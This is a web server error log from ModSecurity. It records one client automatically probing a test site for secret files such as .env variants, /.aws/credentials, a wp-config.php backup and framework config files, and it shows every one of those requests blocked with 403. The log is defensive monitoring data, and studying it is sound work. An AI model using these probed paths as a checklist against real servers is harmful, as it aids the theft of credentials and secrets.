[Tue Dec 09 02:41:44.033854 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aTd-WN68QZ2WsgT79jeZJAAAAAE"]
[Tue Dec 09 02:41:44.115309 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aTd-WN68QZ2WsgT79jeZJgAAAAE"]
[Tue Dec 09 02:41:44.115546 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aTd-WN68QZ2WsgT79jeZJgAAAAE"]
[Tue Dec 09 02:41:44.115727 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aTd-WN68QZ2WsgT79jeZJgAAAAE"]
[Tue Dec 09 02:41:44.155327 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZJwAAAAE"]
[Tue Dec 09 02:41:44.155563 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZJwAAAAE"]
[Tue Dec 09 02:41:44.155743 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZJwAAAAE"]
[Tue Dec 09 02:41:44.199359 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKAAAAAE"]
[Tue Dec 09 02:41:44.199593 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKAAAAAE"]
[Tue Dec 09 02:41:44.199791 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKAAAAAE"]
[Tue Dec 09 02:41:44.242483 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKQAAAAE"]
[Tue Dec 09 02:41:44.242718 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKQAAAAE"]
[Tue Dec 09 02:41:44.242907 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKQAAAAE"]
[Tue Dec 09 02:41:44.286694 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKgAAAAE"]
[Tue Dec 09 02:41:44.286921 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKgAAAAE"]
[Tue Dec 09 02:41:44.287101 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aTd-WN68QZ2WsgT79jeZKgAAAAE"]
[Tue Dec 09 02:41:44.427401 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aTd-WOA7sCcnVsVZjPOt8gAAAAM"]
[Tue Dec 09 02:41:44.427635 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aTd-WOA7sCcnVsVZjPOt8gAAAAM"]
[Tue Dec 09 02:41:44.427809 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aTd-WOA7sCcnVsVZjPOt8gAAAAM"]
[Tue Dec 09 02:41:44.473195 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aTd-WOA7sCcnVsVZjPOt8wAAAAM"]
[Tue Dec 09 02:41:44.473438 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aTd-WOA7sCcnVsVZjPOt8wAAAAM"]
[Tue Dec 09 02:41:44.473621 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aTd-WOA7sCcnVsVZjPOt8wAAAAM"]
[Tue Dec 09 02:41:44.510261 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTd-WOA7sCcnVsVZjPOt9AAAAAM"]
[Tue Dec 09 02:41:44.510553 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTd-WOA7sCcnVsVZjPOt9AAAAAM"]
[Tue Dec 09 02:41:44.510737 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTd-WOA7sCcnVsVZjPOt9AAAAAM"]
[Tue Dec 09 02:41:44.593381 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aTd-WOA7sCcnVsVZjPOt9QAAAAM"]
[Tue Dec 09 02:41:44.593537 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aTd-WOA7sCcnVsVZjPOt9QAAAAM"]
[Tue Dec 09 02:41:44.593768 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aTd-WOA7sCcnVsVZjPOt9QAAAAM"]
[Tue Dec 09 02:41:44.593990 2025] [:error] [pid 616386] [client 45.148.10.247:37474] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aTd-WOA7sCcnVsVZjPOt9QAAAAM"]
[Tue Dec 09 02:41:47.911583 2025] [:error] [pid 616393] [client 45.148.10.247:44834] [client 45.148.10.247] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aTd-W16fNBZxzyJyXJxbHQAAAAc"]
[Tue Dec 09 02:41:47.911910 2025] [:error] [pid 616393] [client 45.148.10.247:44834] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aTd-W16fNBZxzyJyXJxbHQAAAAc"]
[Tue Dec 09 02:41:47.912107 2025] [:error] [pid 616393] [client 45.148.10.247:44834] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aTd-W16fNBZxzyJyXJxbHQAAAAc"]
[Tue Dec 09 02:41:52.331484 2025] [authz_core:error] [pid 614287] [client 45.148.10.247:44862] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Tue Dec 09 02:41:52.378306 2025] [:error] [pid 614287] [client 45.148.10.247:44862] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "aTd-YCw5dJMtMWYD8PX9yQAAAAI"]
[Tue Dec 09 02:41:52.378575 2025] [:error] [pid 614287] [client 45.148.10.247:44862] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "aTd-YCw5dJMtMWYD8PX9yQAAAAI"]
[Tue Dec 09 02:41:52.378764 2025] [:error] [pid 614287] [client 45.148.10.247:44862] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "aTd-YCw5dJMtMWYD8PX9yQAAAAI"]
[Tue Dec 09 02:41:52.791137 2025] [:error] [pid 614579] [client 45.148.10.247:44878] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/config/config.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/config.yml found within REQUEST_FILENAME: /api/config/config.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/config.yml"] [unique_id "aTd-YHGXuKDmYb-TfDYI9wAAAAA"]
[Tue Dec 09 02:41:52.791389 2025] [:error] [pid 614579] [client 45.148.10.247:44878] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/config.yml"] [unique_id "aTd-YHGXuKDmYb-TfDYI9wAAAAA"]
[Tue Dec 09 02:41:52.791579 2025] [:error] [pid 614579] [client 45.148.10.247:44878] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/config.yml"] [unique_id "aTd-YHGXuKDmYb-TfDYI9wAAAAA"]
